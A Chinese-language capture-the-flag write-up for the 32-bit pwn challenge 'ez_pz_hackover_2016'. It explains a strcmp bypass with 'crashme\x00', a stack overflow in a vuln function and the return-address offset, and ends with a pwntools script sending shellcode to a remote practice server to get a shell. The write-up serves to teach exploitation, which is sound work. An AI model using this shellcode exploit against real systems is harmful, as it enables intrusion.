检查开启的保护:
32位程序,没有开启保护。看到这大概率猜到是可以利用shellcode。接着IDA查看下逻辑:
主函数:
header函数:
chall函数:
大致讲解下程序逻辑。首先会要求你输入一个名字。存入s这个缓冲区中。接着会输出你的名字。
我们看到缓冲区的大小有0X40c也就是1036个字节,但是允许输入的只有1023个字节。因此在这里我们无法溢出。接着往下看。有一个vuln函数:
允许我们向缓冲区存入0x400个字节,而缓冲区大小仅有0x32字节。因此这个函数里是存在栈溢出漏洞的,我们需要执行这个函数。想要执行这个函数先要绕过if(!result)语句的判断。strcmp是比较字符串的函数,当他遇到/0的时候会发生截断,因此我们构造一个crashme/x00就能进入vuln函数。在vuln函数里,会把s缓冲区里的数据复制到dest缓冲区中。因此我们需要在一开始的输入就构造好我们的shellcode,和shellcode的地址。我在做这题的时候有很多疑问。根据IDA的提示,s数组应该在ebp的上面0x40c个字节处,而dest应该在ebp上面的0x32字节处.但是当我进行输入调试的时候发现ebp在我输入缓冲区的上面。
我不明白为什么(后来补充的:我好像明白为什么了,因为s缓冲区是在chall函数里面的局部变量,是先开辟栈空间的,再后来执行vuln函数,会开辟新的栈空间,在s缓冲区的上面,因此图示可以是这样的)(保留我自己的疑问,哈哈):
我们在vuln快执行完的地方下个断点看看栈的布局:
调试的代码:
from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'
gdb.attach(p,'b *0x8048600')
p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收s在栈上的地址
print hex(stack)
payload='crashme\x00'+'aaaaaa'#crashme\x00绕过if判断
p.sendline(payload)
pause()
按照这样的布局,我们就需要把这个ebp+4的位置给覆盖成我们shellcode的地址。那么我们算一下需要多少字节能覆盖到:
ebp的偏移看到是0x38,我们输入的位置是0x22 ,因为63是c,72是r,0000不是我们输入的。小端字节序倒着读。(0x38-0x22)=0x16,得再加4,才能到返回地址。因此这个偏移大概是0x16+4.
因此构造的样子需要是这样的:
payload='crashme\x00'+'a'*(0x16-8+4)+p32(addr) //-8是因为crashme\x00占用了
程序运行的开始会给我们输出一个s的栈地址。我们在布局中看一下:
这就是我一直疑惑的点(后来不疑惑了)。它在ebp的下面。将计就计,既然我们只有一次输入机会,那么我们构造完返回地址后,肯定跟的是我们的shellcode。因此我们直接把地址返回给ebp+8的位置。这个偏移我们怎么得到呢,直接0xffffc2f9c-0xfffc2f80=1c。这样我们的大功就告成了。很多细节我还是不是很懂啊。以后想到了再补充。最后我们的exp如下:
# -*- coding: utf-8 -*-
from pwn import *
r=remote('node4.buuoj.cn','29896')
r.recvuntil('crash: ')
stack_addr=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#自动生成shellcode
payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack_addr-0x1c)+shellcode
r.sendline(payload)
r.interactive()
得到flag:
tiaostiao's